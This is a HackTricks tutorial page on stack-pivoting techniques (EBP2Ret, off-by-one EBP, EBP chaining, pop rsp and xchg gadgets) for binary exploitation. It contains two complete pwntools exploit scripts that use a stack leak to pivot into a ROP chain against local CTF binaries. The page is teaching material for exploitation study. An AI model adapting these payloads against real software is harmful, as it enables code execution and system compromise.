7.8 KiB
Stack Pivoting - EBP2Ret - EBP chaining
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
This technique exploits the ability to manipulate the Base Pointer (EBP) to chain the execution of multiple functions through careful use of the EBP register and the leave; ret
instruction sequence.
As a reminder, leave
basically means:
movl %ebp, %esp
popl %ebp
ret
And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.
EBP2Ret
This technique is particularly useful when you can alter the EBP register but have no direct way to change the EIP register. It leverages the behaviour of functions when they finish executing.
If, during fvuln
's execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the pop
operation), you can indirectly control the EIP. As fvuln
returns, the ESP is set to this crafted location, and the subsequent pop
operation decreases ESP by 4, effectively making it point to your shellcode. When the ret
instruction is executed, control is transferred to your shellcode.
Exploit Construction
First you need to inject your shellcode somewhere in an executable memory and get the address, or get the address to a valid ONE_GADGET, or make the ESP point to a place with the address of system()
followed by 4 junk bytes and the address of "/bin/sh"
.
Then, create a padding and compromise the EBP with the address to the shellcode/one_gadget - 4
. It must be -4
because of the pop
. Then, the ESP
will be pointing to our desired address and and the ret
will be executed.
Off-By-One Exploit
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can only modify the least significant byte of the EBP. In such a case, the memory location storing the shellcode's address must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.
EBP Chaining
Therefore, putting a controlled address in the EBP
entry of the stack and an address to leave; ret
in EIP
, it's possible to move the ESP
to the controlled EBP
address from the stack.
Now, the ESP
is controlled pointing to a desired address and the next instruction to execute is a RET
. To abuse this, it's possible to place in the controlled ESP place this:
&(next fake EBP)
-> Load the new EBP because ofpop ebp
from theleave
instructionsystem()
-> Called byret
&(leave;ret)
-> Called after system ends, it will move ESP to the fake EBP and start agin&("/bin/sh")
-> Param frosystem
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
Tbh, this is like a ret2lib, but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
Other ways to control RSP
pop rsp
gadget
In this page you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a pop rsp
gadget and there is a leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <rag>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <rag>, rsp
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.